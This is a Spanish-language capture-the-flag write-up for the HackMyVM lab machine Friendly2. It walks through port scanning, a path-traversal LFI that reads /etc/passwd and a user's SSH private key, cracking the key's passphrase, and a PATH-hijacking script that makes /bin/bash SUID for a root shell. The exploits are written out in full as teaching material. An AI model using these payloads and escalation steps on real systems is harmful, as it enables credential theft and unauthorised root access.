cd ~/blog

~/writeups/hmv/029-friendly2.md

029 - Friendly2

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Local File Inclusion mediante el parámetro docSSH Private Key Exposure con una passphrase débilPATH Hijacking en un script ejecutable como root con SETENV
hackmyvm.eu/machines/machine.php?vm=Friendly2

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.23
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.23
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 18:59 -03
Nmap scan report for 192.168.1.23
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 74:fd:f1:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA)
|   256 16:f0:de:51:09:ff:fc:08:a2:9a:69:a0:ad:42:a0:48 (ECDSA)
|_  256 65:0e:ed:44:e2:3e:f0:e7:60:0c:75:93:63:95:20:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.23 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 2698]
/tools                (Status: 200) [Size: 813]
/assets               (Status: 200) [Size: 1547]
...

LFI y acceso SSH

En el código de /tools/ un comentario delata un parámetro vulnerable a LFI:

<!-- Redimensionar la imagen en check_if_exist.php?doc=keyboard.html -->

Fuzzeamos el parámetro con ffuf:

❯ ffuf -u "http://192.168.1.23/tools/check_if_exist.php?doc=FUZZ" -w ~/Documentos/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -fs 0

Confirmamos el LFI leyendo /etc/passwd para identificar usuarios:

http://192.168.1.23/tools/check_if_exist.php?doc=../../../../../etc/passwd

Las secuencias ../ retroceden desde el directorio donde la aplicación espera encontrar documentos hasta alcanzar la raíz del sistema. Leer /etc/passwd confirma que el parámetro no está limitado a keyboard.html ni al directorio web y, además, revela nombres y directorios personales útiles para construir nuevas rutas.

Y extraemos la clave SSH del usuario gh0st:

http://192.168.1.23/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa

Crackeamos la passphrase con RSAcrack:

❯ RSAcrack -k id_rsa -w ~/Documentos/wordlists/rockyou.txt
╭━━━┳━━━┳━━━╮          ╭╮
┃╭━╮┃╭━╮┃╭━╮┃          ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /home/wh01s17/Documentos/wordlists/rockyou.txt
[i] Status:
    250/14344391/0%/celtic
[+] Password: celtic Line: 250

La LFI expone la clave privada, pero ésta sigue cifrada con una passphrase. La protección presenta un caso de Weak Password: celtic no es la contraseña de la cuenta remota, sino el secreto que permite descifrar localmente id_rsa cuando el cliente SSH intenta utilizarla. Esta distinción explica por qué todavía hace falta romper la protección de la clave antes de iniciar sesión.

Escalada de privilegios

Iniciamos sesión por SSH y obtenemos la primera flag. Para escalar, revisamos sudo -l:

gh0st@friendly2:~$ sudo -l
Matching Defaults entries for gh0st on friendly2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gh0st may run the following commands on friendly2:
    (ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

Podemos ejecutar security.sh como cualquier usuario y, gracias a SETENV, conservar nuestras variables de entorno: candidato ideal para un PATH Hijacking. El script invoca comandos por nombre relativo, así que creamos un grep malicioso y exportamos un PATH que lo priorice:

gh0st@friendly2:~$ cat grep
#!/bin/bash

chmod +s /bin/bash

gh0st@friendly2:~$ sudo -u root PATH=/home/gh0st:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/security.sh
gh0st@friendly2:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Normalmente sudo reemplaza PATH por el valor de secure_path, pero SETENV autoriza a proporcionar variables para este comando. Cuando security.sh invoca grep sin una ruta absoluta, el sistema selecciona primero /home/gh0st/grep. Ese archivo se ejecuta como root y añade SUID a /bin/bash; el script legítimo ya no importa una vez aplicada esa modificación.

Con Bash ya SUID, lanzamos una shell de root:

gh0st@friendly2:~$ bash -p
bash-5.1# whoami
root

La opción -p es esencial porque solicita a Bash conservar el EUID privilegiado heredado del bit SUID. Sin ella, Bash puede reducir sus privilegios para evitar precisamente este tipo de abuso.

Localización y decodificación de la flag

Al leer la flag de root encontramos un señuelo y una pista hacia un directorio oculto:

bash-5.1# cat root.txt
Not yet! Try to find root.txt.

Hint: ...

bash-5.1# find / -name "..." 2>/dev/null
/...

bash-5.1# ls -l /...
total 4
-r-------- 1 root root 100 Apr 29  2023 ebbg.txt
bash-5.1# cat /.../ebbg.txt
It's codified, look the cipher:
98199n723q0s44s6rs39r33685q8pnoq
Hint: numbers are not codified

La cadena está cifrada en ROT13 (sin tocar los números), que decodificamos para obtener la flag:

98199n723q0s44s6rs39r33685q8pnoq

[redacted]

ROT13 sólo sustituye letras por las situadas trece posiciones después en el alfabeto. Los dígitos permanecen iguales, tal como anticipa la pista, y la transformación de n, q, s, r y p produce una cadena hexadecimal válida.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados